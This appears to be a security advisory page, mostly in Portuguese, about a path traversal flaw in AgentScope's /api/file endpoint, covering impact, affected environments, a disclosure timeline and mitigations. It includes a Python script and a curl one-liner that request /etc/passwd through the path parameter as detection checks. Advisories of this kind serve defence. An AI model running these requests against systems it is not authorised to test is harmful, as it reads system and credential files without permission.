Travessia de Caminho (Path Traversal) em AgentScope em /api/file

A exploração bem-sucedida desta vulnerabilidade permite que um atacante leia qualquer arquivo acessível ao processo do servidor web. Isso pode incluir arquivos de configuração, chaves de API, dados de usuários e outros dados confidenciais. O impacto potencial é alto, pois a divulgação de informações pode levar a comprometimento de sistemas, roubo de dados e escalada de privilégios. Um atacante poderia, por exemplo, ler o arquivo /etc/passwd em um sistema Linux, obtendo informações sobre os usuários do sistema. A falta de sanitização do parâmetro path torna a exploração relativamente simples, exigindo apenas o envio de uma requisição HTTP maliciosa.

Organizations deploying Agentscope in production environments, particularly those with sensitive data stored on the same server, are at risk. Environments with weak access controls or inadequate input validation practices are especially vulnerable. Shared hosting environments where Agentscope is installed alongside other applications could also be affected if the vulnerability is exploited to gain access to other tenants' data.

• python / agentscope:

import requests
import os

url = 'http://your-agentscope-server/api/file' # Replace with your server

try:
    # Attempt to read a sensitive file
    response = requests.get(url + '?path=/etc/passwd')
    if response.status_code == 200:
        print('Potential Path Traversal Detected!')
        print(response.text)
    else:
        print('No Path Traversal Detected.')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

• generic web:

curl 'http://your-agentscope-server/api/file?path=../../../../etc/passwd' -s | grep 'root:'

1. 2025-03-20Disclosure

   disclosure

1. Reservado2024-09-04
2. Publicada2025-03-20
3. EPSS atualizado2026-04-02

A mitigação primária é a atualização para uma versão corrigida do Agentscope. Enquanto a versão corrigida não estiver disponível, uma medida temporária pode ser a implementação de um Web Application Firewall (WAF) para bloquear requisições que contenham caracteres especiais ou sequências de caminho suspeitas no parâmetro path. Além disso, restringir o acesso à API /api/file apenas a usuários autenticados e com permissões apropriadas pode reduzir o risco. Monitore os logs do servidor web em busca de tentativas de acesso a arquivos inesperados.